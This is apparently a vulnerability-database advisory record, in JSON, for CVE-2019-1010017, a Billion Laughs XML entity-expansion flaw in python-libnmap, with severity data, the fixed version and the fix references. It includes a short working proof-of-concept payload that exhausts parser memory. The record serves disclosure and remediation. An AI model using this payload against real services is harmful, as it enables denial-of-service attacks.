{"id":"CVE-2019-1010017","aliases":["GHSA-9ccv-p7fg-m73x","PYSEC-2019-218"],"url":"https://o3.security/vulnerability/CVE-2019-1010017","summary":"XML Injection in python-libnmap","details":"### Description\n\npython-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.\n\n### PoC\n\n```python\nty = NmapParser()\n\npayload = \"\"\"\n<!DOCTYPE lolz [\n <!ENTITY lol \"lol\">\n <!ELEMENT lolz (#PCDATA)>\n <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n]>\n<lolz><hello>&lol3;</hello></lolz>\n\"\"\"\n\nty.parse(payload)\n```","published":"2019-07-15T03:15:10.490Z","modified":"2026-10-20T10:50:35.354866052Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"PyPI","name":"python-libnmap","fixedVersion":"0.7.2"}],"fix":{"url":"https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4","label":"savon-noir/python-libnmap@71b7077"},"references":[{"type":"EVIDENCE","url":"https://github.com/savon-noir/python-libnmap/issues/87"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-1010017"},{"type":"WEB","url":"https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml"},{"type":"PACKAGE","url":"https://github.com/savon-noir/python-libnmap"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-20T10:50:35.354866052Z"}}